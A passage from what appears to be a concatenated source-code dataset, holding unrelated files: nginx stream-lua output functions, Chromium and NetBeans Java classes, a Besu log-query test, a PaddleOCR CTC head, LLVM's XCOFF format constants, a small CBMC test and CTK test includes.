return luaL_error(L, "API disabled in the current context");
}
ngx_stream_lua_check_context(L, ctx, NGX_STREAM_LUA_CONTEXT_CONTENT
| NGX_STREAM_LUA_CONTEXT_PREREAD);
ngx_log_debug0(NGX_LOG_DEBUG_STREAM, r->connection->log, 0,
"lua send eof");
rc = ngx_stream_lua_send_chain_link(r, ctx, NULL /* indicate last_buf */);
dd("send chain: %d", (int) rc);
if (rc == NGX_ERROR) {
lua_pushnil(L);
lua_pushliteral(L, "nginx output filter error");
return 2;
}
lua_pushinteger(L, 1);
return 1;
}
void
ngx_stream_lua_inject_output_api(lua_State *L)
{
lua_pushcfunction(L, ngx_stream_lua_ngx_print);
lua_setfield(L, -2, "print");
lua_pushcfunction(L, ngx_stream_lua_ngx_say);
lua_setfield(L, -2, "say");
lua_pushcfunction(L, ngx_stream_lua_ngx_flush);
lua_setfield(L, -2, "flush");
lua_pushcfunction(L, ngx_stream_lua_ngx_eof);
lua_setfield(L, -2, "eof");
}
ngx_int_t
ngx_stream_lua_flush_resume_helper(ngx_stream_lua_request_t *r,
ngx_stream_lua_ctx_t *ctx)
{
int n;
lua_State *vm;
ngx_int_t rc;
ngx_uint_t nreqs;
ngx_connection_t *c;
c = r->connection;
ctx->cur_co_ctx->cleanup = NULL;
/* push the return values */
if (c->timedout) {
lua_pushnil(ctx->cur_co_ctx->co);
lua_pushliteral(ctx->cur_co_ctx->co, "timeout");
n = 2;
} else if (c->error) {
lua_pushnil(ctx->cur_co_ctx->co);
lua_pushliteral(ctx->cur_co_ctx->co, "client aborted");
n = 2;
} else {
lua_pushinteger(ctx->cur_co_ctx->co, 1);
n = 1;
}
vm = ngx_stream_lua_get_lua_vm(r, ctx);
nreqs = c->requests;
rc = ngx_stream_lua_run_thread(vm, r, ctx, n);
ngx_log_debug1(NGX_LOG_DEBUG_STREAM, r->connection->log, 0,
"lua run thread returned %d", rc);
if (rc == NGX_AGAIN) {
return ngx_stream_lua_run_posted_threads(c, vm, r, ctx, nreqs);
}
if (rc == NGX_DONE) {
ngx_stream_lua_finalize_request(r, NGX_DONE);
return ngx_stream_lua_run_posted_threads(c, vm, r, ctx, nreqs);
}
/* rc == NGX_ERROR || rc >= NGX_OK */
if (ctx->entered_content_phase) {
ngx_stream_lua_finalize_request(r, rc);
return NGX_DONE;
}
return rc;
}
static void
ngx_stream_lua_flush_cleanup(void *data)
{
ngx_stream_lua_request_t *r;
ngx_event_t *wev;
ngx_stream_lua_ctx_t *ctx;
ngx_stream_lua_co_ctx_t *coctx = data;
coctx->flushing = 0;
r = coctx->data;
if (r == NULL) {
return;
}
wev = r->connection->write;
if (wev && wev->timer_set) {
ngx_del_timer(wev);
}
ctx = ngx_stream_lua_get_module_ctx(r, ngx_stream_lua_module);
if (ctx == NULL) {
return;
}
ctx->flushing_coros--;
}
/* vi:set ft=c ts=4 sw=4 et fdm=marker: */
| 10,454 |
14,668 | <gh_stars>1000+
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.download.home.filter;
import org.chromium.ui.modelutil.PropertyKey;
import org.chromium.ui.modelutil.PropertyModel;
import org.chromium.ui.modelutil.PropertyModelChangeProcessor.ViewBinder;
/**
* A helper {@link ViewBinder} responsible for gluing {@link FilterProperties} to
* {@link FilterView}.
*/
class FilterViewBinder implements ViewBinder<PropertyModel, FilterView, PropertyKey> {
@Override
public void bind(PropertyModel model, FilterView view, PropertyKey propertyKey) {
if (propertyKey == FilterProperties.CONTENT_VIEW) {
view.setContentView(model.get(FilterProperties.CONTENT_VIEW));
} else if (propertyKey == FilterProperties.SELECTED_TAB) {
view.setTabSelected(model.get(FilterProperties.SELECTED_TAB));
} else if (propertyKey == FilterProperties.CHANGE_LISTENER) {
view.setTabSelectedCallback(model.get(FilterProperties.CHANGE_LISTENER));
} else if (propertyKey == FilterProperties.SHOW_TABS) {
view.setShowTabs(model.get(FilterProperties.SHOW_TABS));
}
}
} | 454 |
702 | <reponame>lailiuyuan/besu
/*
* Copyright ConsenSys AG.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*
*/
package org.hyperledger.besu.ethereum.api.query;
import static java.util.Collections.singletonList;
import static org.assertj.core.api.Assertions.assertThat;
import org.hyperledger.besu.datatypes.Address;
import org.hyperledger.besu.evm.log.Log;
import org.hyperledger.besu.evm.log.LogTopic;
import java.util.List;
import org.apache.tuweni.bytes.Bytes;
import org.junit.Test;
public class LogsQueryTest {
private static final Address FIRST_ADDRESS =
Address.fromHexString("<KEY>");
private static final LogTopic FIRST_ADDRESS_TOPIC =
LogTopic.fromHexString("0000000000000000000000008320fe7702b96808f7bbc0d4a888ed1468216cfd");
private static final LogTopic SECOND_ADDRESS_TOPIC =
LogTopic.fromHexString("0000000000000000000000009320fe7702b96808f7bbc0d4a888ed1468216cfd");
private static final LogTopic ERC20_TRANSFER_EVENT =
LogTopic.fromHexString("ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef");
@Test
public void testMatches() {
final LogsQuery query =
new LogsQuery(
singletonList(FIRST_ADDRESS),
List.of(
singletonList(ERC20_TRANSFER_EVENT),
List.of(FIRST_ADDRESS_TOPIC, SECOND_ADDRESS_TOPIC)));
assertThat(query.matches(new Log(FIRST_ADDRESS, Bytes.EMPTY, List.of()))).isFalse();
assertThat(query.matches(new Log(FIRST_ADDRESS, Bytes.EMPTY, List.of(ERC20_TRANSFER_EVENT))))
.isFalse();
assertThat(
query.matches(
new Log(
FIRST_ADDRESS,
Bytes.EMPTY,
List.of(ERC20_TRANSFER_EVENT, FIRST_ADDRESS_TOPIC))))
.isTrue();
assertThat(
query.matches(
new Log(
FIRST_ADDRESS,
Bytes.EMPTY,
List.of(ERC20_TRANSFER_EVENT, SECOND_ADDRESS_TOPIC))))
.isTrue();
assertThat(
query.matches(
new Log(
FIRST_ADDRESS,
Bytes.EMPTY,
List.of(ERC20_TRANSFER_EVENT, SECOND_ADDRESS_TOPIC, FIRST_ADDRESS_TOPIC))))
.isTrue();
}
}
| 1,245 |
20,401 | <filename>ppocr/modeling/heads/rec_ctc_head.py
# copyright (c) 2019 PaddlePaddle Authors. All Rights Reserve.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import math
import paddle
from paddle import ParamAttr, nn
from paddle.nn import functional as F
def get_para_bias_attr(l2_decay, k):
regularizer = paddle.regularizer.L2Decay(l2_decay)
stdv = 1.0 / math.sqrt(k * 1.0)
initializer = nn.initializer.Uniform(-stdv, stdv)
weight_attr = ParamAttr(regularizer=regularizer, initializer=initializer)
bias_attr = ParamAttr(regularizer=regularizer, initializer=initializer)
return [weight_attr, bias_attr]
class CTCHead(nn.Layer):
def __init__(self,
in_channels,
out_channels,
fc_decay=0.0004,
mid_channels=None,
**kwargs):
super(CTCHead, self).__init__()
if mid_channels is None:
weight_attr, bias_attr = get_para_bias_attr(
l2_decay=fc_decay, k=in_channels)
self.fc = nn.Linear(
in_channels,
out_channels,
weight_attr=weight_attr,
bias_attr=bias_attr)
else:
weight_attr1, bias_attr1 = get_para_bias_attr(
l2_decay=fc_decay, k=in_channels)
self.fc1 = nn.Linear(
in_channels,
mid_channels,
weight_attr=weight_attr1,
bias_attr=bias_attr1)
weight_attr2, bias_attr2 = get_para_bias_attr(
l2_decay=fc_decay, k=mid_channels)
self.fc2 = nn.Linear(
mid_channels,
out_channels,
weight_attr=weight_attr2,
bias_attr=bias_attr2)
self.out_channels = out_channels
self.mid_channels = mid_channels
def forward(self, x, targets=None):
if self.mid_channels is None:
predicts = self.fc(x)
else:
predicts = self.fc1(x)
predicts = self.fc2(predicts)
if not self.training:
predicts = F.softmax(predicts, axis=2)
return predicts
| 1,314 |
605 | //===-- llvm/BinaryFormat/XCOFF.h - The XCOFF file format -------*- C++/-*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file defines manifest constants for the XCOFF object file format.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_BINARYFORMAT_XCOFF_H
#define LLVM_BINARYFORMAT_XCOFF_H
#include <stddef.h>
#include <stdint.h>
namespace llvm {
class StringRef;
template <unsigned> class SmallString;
template <typename T> class Expected;
namespace XCOFF {
// Constants used in the XCOFF definition.
constexpr size_t FileNamePadSize = 6;
constexpr size_t NameSize = 8;
constexpr size_t FileHeaderSize32 = 20;
constexpr size_t FileHeaderSize64 = 24;
constexpr size_t AuxFileHeaderSize32 = 72;
constexpr size_t AuxFileHeaderSize64 = 110;
constexpr size_t SectionHeaderSize32 = 40;
constexpr size_t SectionHeaderSize64 = 72;
constexpr size_t SymbolTableEntrySize = 18;
constexpr size_t RelocationSerializationSize32 = 10;
constexpr size_t RelocationSerializationSize64 = 14;
constexpr uint16_t RelocOverflow = 65535;
constexpr uint8_t AllocRegNo = 31;
enum ReservedSectionNum : int16_t { N_DEBUG = -2, N_ABS = -1, N_UNDEF = 0 };
enum MagicNumber : uint16_t { XCOFF32 = 0x01DF, XCOFF64 = 0x01F7 };
// This field only exists in the XCOFF64 definition.
enum AuxHeaderFlags64 : uint16_t {
SHR_SYMTAB = 0x8000, ///< At exec time, create shared symbol table for program
///< (main program only).
FORK_POLICY = 0x4000, ///< Forktree policy specified (main program only).
FORK_COR = 0x2000 ///< If _AOUT_FORK_POLICY is set, specify copy-on-reference
///< if this bit is set. Specify copy-on- write otherwise.
///< If _AOUT_FORK_POLICY is 0, this bit is reserved for
///< future use and should be set to 0.
};
// x_smclas field of x_csect from system header: /usr/include/syms.h
/// Storage Mapping Class definitions.
enum StorageMappingClass : uint8_t {
// READ ONLY CLASSES
XMC_PR = 0, ///< Program Code
XMC_RO = 1, ///< Read Only Constant
XMC_DB = 2, ///< Debug Dictionary Table
XMC_GL = 6, ///< Global Linkage (Interfile Interface Code)
XMC_XO = 7, ///< Extended Operation (Pseudo Machine Instruction)
XMC_SV = 8, ///< Supervisor Call (32-bit process only)
XMC_SV64 = 17, ///< Supervisor Call for 64-bit process
XMC_SV3264 = 18, ///< Supervisor Call for both 32- and 64-bit processes
XMC_TI = 12, ///< Traceback Index csect
XMC_TB = 13, ///< Traceback Table csect
// READ WRITE CLASSES
XMC_RW = 5, ///< Read Write Data
XMC_TC0 = 15, ///< TOC Anchor for TOC Addressability
XMC_TC = 3, ///< General TOC item
XMC_TD = 16, ///< Scalar data item in the TOC
XMC_DS = 10, ///< Descriptor csect
XMC_UA = 4, ///< Unclassified - Treated as Read Write
XMC_BS = 9, ///< BSS class (uninitialized static internal)
XMC_UC = 11, ///< Un-named Fortran Common
XMC_TL = 20, ///< Initialized thread-local variable
XMC_UL = 21, ///< Uninitialized thread-local variable
XMC_TE = 22 ///< Symbol mapped at the end of TOC
};
// Flags for defining the section type. Masks for use with the (signed, 32-bit)
// s_flags field of the section header structure, selecting for values in the
// lower 16 bits. Defined in the system header `scnhdr.h`.
enum SectionTypeFlags : int32_t {
STYP_PAD = 0x0008,
STYP_DWARF = 0x0010,
STYP_TEXT = 0x0020,
STYP_DATA = 0x0040,
STYP_BSS = 0x0080,
STYP_EXCEPT = 0x0100,
STYP_INFO = 0x0200,
STYP_TDATA = 0x0400,
STYP_TBSS = 0x0800,
STYP_LOADER = 0x1000,
STYP_DEBUG = 0x2000,
STYP_TYPCHK = 0x4000,
STYP_OVRFLO = 0x8000
};
/// Values for defining the section subtype of sections of type STYP_DWARF as
/// they would appear in the (signed, 32-bit) s_flags field of the section
/// header structure, contributing to the 16 most significant bits. Defined in
/// the system header `scnhdr.h`.
enum DwarfSectionSubtypeFlags : int32_t {
SSUBTYP_DWINFO = 0x1'0000, ///< DWARF info section
SSUBTYP_DWLINE = 0x2'0000, ///< DWARF line section
SSUBTYP_DWPBNMS = 0x3'0000, ///< DWARF pubnames section
SSUBTYP_DWPBTYP = 0x4'0000, ///< DWARF pubtypes section
SSUBTYP_DWARNGE = 0x5'0000, ///< DWARF aranges section
SSUBTYP_DWABREV = 0x6'0000, ///< DWARF abbrev section
SSUBTYP_DWSTR = 0x7'0000, ///< DWARF str section
SSUBTYP_DWRNGES = 0x8'0000, ///< DWARF ranges section
SSUBTYP_DWLOC = 0x9'0000, ///< DWARF loc section
SSUBTYP_DWFRAME = 0xA'0000, ///< DWARF frame section
SSUBTYP_DWMAC = 0xB'0000 ///< DWARF macinfo section
};
// STORAGE CLASSES, n_sclass field of syment.
// The values come from `storclass.h` and `dbxstclass.h`.
enum StorageClass : uint8_t {
// Storage classes used for symbolic debugging symbols.
C_FILE = 103, // File name
C_BINCL = 108, // Beginning of include file
C_EINCL = 109, // Ending of include file
C_GSYM = 128, // Global variable
C_STSYM = 133, // Statically allocated symbol
C_BCOMM = 135, // Beginning of common block
C_ECOMM = 137, // End of common block
C_ENTRY = 141, // Alternate entry
C_BSTAT = 143, // Beginning of static block
C_ESTAT = 144, // End of static block
C_GTLS = 145, // Global thread-local variable
C_STTLS = 146, // Static thread-local variable
// Storage classes used for DWARF symbols.
C_DWARF = 112, // DWARF section symbol
// Storage classes used for absolute symbols.
C_LSYM = 129, // Automatic variable allocated on stack
C_PSYM = 130, // Argument to subroutine allocated on stack
C_RSYM = 131, // Register variable
C_RPSYM = 132, // Argument to function or procedure stored in register
C_ECOML = 136, // Local member of common block
C_FUN = 142, // Function or procedure
// Storage classes used for undefined external symbols or
// symbols of general sections.
C_EXT = 2, // External symbol
C_WEAKEXT = 111, // Weak external symbol
// Storage classes used for symbols of general sections.
C_NULL = 0,
C_STAT = 3, // Static
C_BLOCK = 100, // ".bb" or ".eb"
C_FCN = 101, // ".bf" or ".ef"
C_HIDEXT = 107, // Un-named external symbol
C_INFO = 110, // Comment string in .info section
C_DECL = 140, // Declaration of object (type)
// Storage classes - Obsolete/Undocumented.
C_AUTO = 1, // Automatic variable
C_REG = 4, // Register variable
C_EXTDEF = 5, // External definition
C_LABEL = 6, // Label
C_ULABEL = 7, // Undefined label
C_MOS = 8, // Member of structure
C_ARG = 9, // Function argument
C_STRTAG = 10, // Structure tag
C_MOU = 11, // Member of union
C_UNTAG = 12, // Union tag
C_TPDEF = 13, // Type definition
C_USTATIC = 14, // Undefined static
C_ENTAG = 15, // Enumeration tag
C_MOE = 16, // Member of enumeration
C_REGPARM = 17, // Register parameter
C_FIELD = 18, // Bit field
C_EOS = 102, // End of structure
C_LINE = 104,
C_ALIAS = 105, // Duplicate tag
C_HIDDEN = 106, // Special storage class for external
C_EFCN = 255, // Physical end of function
// Storage classes - reserved
C_TCSYM = 134 // Reserved
};
// Flags for defining the symbol type. Values to be encoded into the lower 3
// bits of the (unsigned, 8-bit) x_smtyp field of csect auxiliary symbol table
// entries. Defined in the system header `syms.h`.
enum SymbolType : uint8_t {
XTY_ER = 0, ///< External reference.
XTY_SD = 1, ///< Csect definition for initialized storage.
XTY_LD = 2, ///< Label definition.
///< Defines an entry point to an initialized csect.
XTY_CM = 3 ///< Common csect definition. For uninitialized storage.
};
/// Values for visibility as they would appear when encoded in the high 4 bits
/// of the 16-bit unsigned n_type field of symbol table entries. Valid for
/// 32-bit XCOFF only when the vstamp in the auxiliary header is greater than 1.
enum VisibilityType : uint16_t {
SYM_V_UNSPECIFIED = 0x0000,
SYM_V_INTERNAL = 0x1000,
SYM_V_HIDDEN = 0x2000,
SYM_V_PROTECTED = 0x3000,
SYM_V_EXPORTED = 0x4000
};
// Relocation types, defined in `/usr/include/reloc.h`.
enum RelocationType : uint8_t {
R_POS = 0x00, ///< Positive relocation. Provides the address of the referenced
///< symbol.
R_RL = 0x0c, ///< Positive indirect load relocation. Modifiable instruction.
R_RLA = 0x0d, ///< Positive load address relocation. Modifiable instruction.
R_NEG = 0x01, ///< Negative relocation. Provides the negative of the address
///< of the referenced symbol.
R_REL = 0x02, ///< Relative to self relocation. Provides a displacement value
///< between the address of the referenced symbol and the
///< address being relocated.
R_TOC = 0x03, ///< Relative to the TOC relocation. Provides a displacement
///< that is the difference between the address of the
///< referenced symbol and the TOC anchor csect.
R_TRL = 0x12, ///< TOC relative indirect load relocation. Similar to R_TOC,
///< but not modifiable instruction.
R_TRLA =
0x13, ///< Relative to the TOC or to the thread-local storage base
///< relocation. Compilers are not permitted to generate this
///< relocation type. It is the result of a reversible
///< transformation by the linker of an R_TOC relation that turned a
///< load instruction into an add-immediate instruction.
R_GL = 0x05, ///< Global linkage-external TOC address relocation. Provides the
///< address of the external TOC associated with a defined
///< external symbol.
R_TCL = 0x06, ///< Local object TOC address relocation. Provides the address
///< of the local TOC entry of a defined external symbol.
R_REF = 0x0f, ///< A non-relocating relocation. Used to prevent the binder
///< from garbage collecting a csect (such as code used for
///< dynamic initialization of non-local statics) for which
///< another csect has an implicit dependency.
R_BA = 0x08, ///< Branch absolute relocation. Provides the address of the
///< referenced symbol. References a non-modifiable instruction.
R_BR = 0x0a, ///< Branch relative to self relocation. Provides the
///< displacement that is the difference between the address of
///< the referenced symbol and the address of the referenced
///< branch instruction. References a non-modifiable instruction.
R_RBA = 0x18, ///< Branch absolute relocation. Similar to R_BA but
///< references a modifiable instruction.
R_RBR = 0x1a, ///< Branch relative to self relocation. Similar to the R_BR
///< relocation type, but references a modifiable instruction.
R_TLS = 0x20, ///< General-dynamic reference to TLS symbol.
R_TLS_IE = 0x21, ///< Initial-exec reference to TLS symbol.
R_TLS_LD = 0x22, ///< Local-dynamic reference to TLS symbol.
R_TLS_LE = 0x23, ///< Local-exec reference to TLS symbol.
R_TLSM = 0x24, ///< Module reference to TLS. Provides a handle for the module
///< containing the referenced symbol.
R_TLSML = 0x25, ///< Module reference to the local TLS storage.
R_TOCU = 0x30, ///< Relative to TOC upper. Specifies the high-order 16 bits of
///< a large code model TOC-relative relocation.
R_TOCL = 0x31 ///< Relative to TOC lower. Specifies the low-order 16 bits of a
///< large code model TOC-relative relocation.
};
enum CFileStringType : uint8_t {
XFT_FN = 0, ///< Specifies the source-file name.
XFT_CT = 1, ///< Specifies the compiler time stamp.
XFT_CV = 2, ///< Specifies the compiler version number.
XFT_CD = 128 ///< Specifies compiler-defined information.
};
enum CFileLangId : uint8_t {
TB_C = 0, ///< C language.
TB_CPLUSPLUS = 9 ///< C++ language.
};
enum CFileCpuId : uint8_t {
TCPU_PPC64 = 2, ///< PowerPC common architecture 64-bit mode.
TCPU_COM = 3, ///< POWER and PowerPC architecture common.
TCPU_970 = 19 ///< PPC970 - PowerPC 64-bit architecture.
};
enum SymbolAuxType : uint8_t {
AUX_EXCEPT = 255, ///< Identifies an exception auxiliary entry.
AUX_FCN = 254, ///< Identifies a function auxiliary entry.
AUX_SYM = 253, ///< Identifies a symbol auxiliary entry.
AUX_FILE = 252, ///< Identifies a file auxiliary entry.
AUX_CSECT = 251, ///< Identifies a csect auxiliary entry.
AUX_SECT = 250 ///< Identifies a SECT auxiliary entry.
}; // 64-bit XCOFF file only.
StringRef getMappingClassString(XCOFF::StorageMappingClass SMC);
StringRef getRelocationTypeString(XCOFF::RelocationType Type);
Expected<SmallString<32>> parseParmsType(uint32_t Value, unsigned FixedParmsNum,
unsigned FloatingParmsNum);
Expected<SmallString<32>> parseParmsTypeWithVecInfo(uint32_t Value,
unsigned FixedParmsNum,
unsigned FloatingParmsNum,
unsigned VectorParmsNum);
Expected<SmallString<32>> parseVectorParmsType(uint32_t Value,
unsigned ParmsNum);
struct TracebackTable {
enum LanguageID : uint8_t {
C,
Fortran,
Pascal,
Ada,
PL1,
Basic,
Lisp,
Cobol,
Modula2,
CPlusPlus,
Rpg,
PL8,
PLIX = PL8,
Assembly,
Java,
ObjectiveC
};
// Byte 1
static constexpr uint32_t VersionMask = 0xFF00'0000;
static constexpr uint8_t VersionShift = 24;
// Byte 2
static constexpr uint32_t LanguageIdMask = 0x00FF'0000;
static constexpr uint8_t LanguageIdShift = 16;
// Byte 3
static constexpr uint32_t IsGlobaLinkageMask = 0x0000'8000;
static constexpr uint32_t IsOutOfLineEpilogOrPrologueMask = 0x0000'4000;
static constexpr uint32_t HasTraceBackTableOffsetMask = 0x0000'2000;
static constexpr uint32_t IsInternalProcedureMask = 0x0000'1000;
static constexpr uint32_t HasControlledStorageMask = 0x0000'0800;
static constexpr uint32_t IsTOClessMask = 0x0000'0400;
static constexpr uint32_t IsFloatingPointPresentMask = 0x0000'0200;
static constexpr uint32_t IsFloatingPointOperationLogOrAbortEnabledMask =
0x0000'0100;
// Byte 4
static constexpr uint32_t IsInterruptHandlerMask = 0x0000'0080;
static constexpr uint32_t IsFunctionNamePresentMask = 0x0000'0040;
static constexpr uint32_t IsAllocaUsedMask = 0x0000'0020;
static constexpr uint32_t OnConditionDirectiveMask = 0x0000'001C;
static constexpr uint32_t IsCRSavedMask = 0x0000'0002;
static constexpr uint32_t IsLRSavedMask = 0x0000'0001;
static constexpr uint8_t OnConditionDirectiveShift = 2;
// Byte 5
static constexpr uint32_t IsBackChainStoredMask = 0x8000'0000;
static constexpr uint32_t IsFixupMask = 0x4000'0000;
static constexpr uint32_t FPRSavedMask = 0x3F00'0000;
static constexpr uint32_t FPRSavedShift = 24;
// Byte 6
static constexpr uint32_t HasExtensionTableMask = 0x0080'0000;
static constexpr uint32_t HasVectorInfoMask = 0x0040'0000;
static constexpr uint32_t GPRSavedMask = 0x003F'0000;
static constexpr uint32_t GPRSavedShift = 16;
// Byte 7
static constexpr uint32_t NumberOfFixedParmsMask = 0x0000'FF00;
static constexpr uint8_t NumberOfFixedParmsShift = 8;
// Byte 8
static constexpr uint32_t NumberOfFloatingPointParmsMask = 0x0000'00FE;
static constexpr uint32_t HasParmsOnStackMask = 0x0000'0001;
static constexpr uint8_t NumberOfFloatingPointParmsShift = 1;
// Masks to select leftmost bits for decoding parameter type information.
// Bit to use when vector info is not presented.
static constexpr uint32_t ParmTypeIsFloatingBit = 0x8000'0000;
static constexpr uint32_t ParmTypeFloatingIsDoubleBit = 0x4000'0000;
// Bits to use when vector info is presented.
static constexpr uint32_t ParmTypeIsFixedBits = 0x0000'0000;
static constexpr uint32_t ParmTypeIsVectorBits = 0x4000'0000;
static constexpr uint32_t ParmTypeIsFloatingBits = 0x8000'0000;
static constexpr uint32_t ParmTypeIsDoubleBits = 0xC000'0000;
static constexpr uint32_t ParmTypeMask = 0xC000'0000;
// Vector extension
static constexpr uint16_t NumberOfVRSavedMask = 0xFC00;
static constexpr uint16_t IsVRSavedOnStackMask = 0x0200;
static constexpr uint16_t HasVarArgsMask = 0x0100;
static constexpr uint8_t NumberOfVRSavedShift = 10;
static constexpr uint16_t NumberOfVectorParmsMask = 0x00FE;
static constexpr uint16_t HasVMXInstructionMask = 0x0001;
static constexpr uint8_t NumberOfVectorParmsShift = 1;
static constexpr uint32_t ParmTypeIsVectorCharBit = 0x0000'0000;
static constexpr uint32_t ParmTypeIsVectorShortBit = 0x4000'0000;
static constexpr uint32_t ParmTypeIsVectorIntBit = 0x8000'0000;
static constexpr uint32_t ParmTypeIsVectorFloatBit = 0xC000'0000;
static constexpr uint8_t WidthOfParamType = 2;
};
// Extended Traceback table flags.
enum ExtendedTBTableFlag : uint8_t {
TB_OS1 = 0x80, ///< Reserved for OS use.
TB_RESERVED = 0x40, ///< Reserved for compiler.
TB_SSP_CANARY = 0x20, ///< stack smasher canary present on stack.
TB_OS2 = 0x10, ///< Reserved for OS use.
TB_EH_INFO = 0x08, ///< Exception handling info present.
TB_LONGTBTABLE2 = 0x01 ///< Additional tbtable extension exists.
};
StringRef getNameForTracebackTableLanguageId(TracebackTable::LanguageID LangId);
SmallString<32> getExtendedTBTableFlagString(uint8_t Flag);
struct CsectProperties {
CsectProperties(StorageMappingClass SMC, SymbolType ST)
: MappingClass(SMC), Type(ST) {}
StorageMappingClass MappingClass;
SymbolType Type;
};
} // end namespace XCOFF
} // end namespace llvm
#endif
| 6,687 |
412 | <reponame>mauguignard/cbmc
int main()
{
int n;
void m = __CPROVER_input(n);
return 0;
}
| 47 |
1,056 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.lib.profiler.results;
import java.nio.ByteBuffer;
import java.util.Iterator;
import java.util.Set;
import java.util.concurrent.CopyOnWriteArraySet;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.netbeans.lib.profiler.ProfilerClient;
/**
*
* @author <NAME>
* @author <NAME>
*/
public abstract class AbstractDataFrameProcessor implements DataFrameProcessor {
//~ Inner Interfaces ---------------------------------------------------------------------------------------------------------
protected static interface ListenerFunctor {
//~ Methods --------------------------------------------------------------------------------------------------------------
void execute(ProfilingResultListener listener);
}
//~ Static fields/initializers -----------------------------------------------------------------------------------------------
protected static final Logger LOGGER = Logger.getLogger(DataFrameProcessor.class.getName());
//~ Instance fields ----------------------------------------------------------------------------------------------------------
protected volatile ProfilerClient client = null;
protected volatile boolean collectingTwoTimeStamps;
private final Set listeners = new CopyOnWriteArraySet();
// @GuardedBy this
private boolean processorLives = false;
//~ Methods ------------------------------------------------------------------------------------------------------------------
public boolean hasListeners() {
return !listeners.isEmpty();
}
public void processDataFrame(byte[] buffer) {
synchronized(client) {
synchronized (this) {
if (!processorLives) return;
try {
fireBatchStart();
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("Frame start, size="+buffer.length); // NOI18N
}
collectingTwoTimeStamps = (client != null) ? client.getStatus().collectingTwoTimeStamps() : false;
doProcessDataFrame(ByteBuffer.wrap(buffer));
} catch (Throwable e) {
LOGGER.log(Level.SEVERE, "Error while processing data frame", e); // NOI18N
} finally {
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("Frame stop"); // NOI18N
}
fireBatchStop();
}
}
}
}
public void removeAllListeners() {
for (Iterator iter = listeners.iterator(); iter.hasNext();) {
((ProfilingResultListener) iter.next()).shutdown();
}
listeners.clear();
}
public void reset() {
fireReset();
}
public void shutdown() {
// finalize the batch
synchronized(this) {
processorLives = false;
fireShutdown();
}
}
public void startup(ProfilerClient client) {
synchronized(this) {
processorLives = true;
this.client = client;
}
}
protected void addListener(final ProfilingResultListener listener) {
listeners.add(listener);
}
protected abstract void doProcessDataFrame(ByteBuffer buffer);
protected static long getTimeStamp(ByteBuffer buffer) {
long timestamp = (((long) buffer.get() & 0xFF) << 48) | (((long) buffer.get() & 0xFF) << 40)
| (((long) buffer.get() & 0xFF) << 32) | (((long) buffer.get() & 0xFF) << 24)
| (((long) buffer.get() & 0xFF) << 16) | (((long) buffer.get() & 0xFF) << 8)
| ((long) buffer.get() & 0xFF);
return timestamp;
}
protected static String getString(final ByteBuffer buffer) {
int strLen = buffer.getChar();
byte[] str = new byte[strLen];
buffer.get(str);
return new String(str);
}
protected void fireProfilingPoint(final int threadId, final int ppId, final long timeStamp) {
foreachListener(new ListenerFunctor() {
public void execute(ProfilingResultListener listener) {
listener.profilingPoint(threadId, ppId, timeStamp);
}
});
}
protected void fireReset() {
foreachListener(new ListenerFunctor() {
public void execute(ProfilingResultListener listener) {
listener.reset();
}
});
}
protected void foreachListener(ListenerFunctor functor) {
for (Iterator iter = listeners.iterator(); iter.hasNext();) {
functor.execute((ProfilingResultListener) iter.next());
}
}
protected void removeListener(final ProfilingResultListener listener) {
if (listeners.remove(listener)) {
listener.shutdown();
}
}
private void fireBatchStart() {
foreachListener(new ListenerFunctor() {
public void execute(ProfilingResultListener listener) {
listener.onBatchStart();
}
});
}
private void fireBatchStop() {
foreachListener(new ListenerFunctor() {
public void execute(ProfilingResultListener listener) {
listener.onBatchStop();
}
});
}
private void fireShutdown() {
foreachListener(new ListenerFunctor() {
public void execute(ProfilingResultListener listener) {
listener.shutdown();
}
});
}
}
| 2,514 |
515 | <gh_stars>100-1000
/*=========================================================================
Library: CTK
Copyright (c) Kitware Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.txt
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=========================================================================*/
// Qt includes
#include <QApplication>
#include <QDebug>
#include <QPushButton>
#include <QStyle>
#include <QTimer>
#include <QVBoxLayout>
// QtTesting includes
#include <pqTestUtility.h>
// CTK includes
#include "ctkCallback.h"
#include "ctkConfig.h"
#include "ctkCollapsibleButton.h"
#include "ctkEventTranslatorPlayerWidget.h"
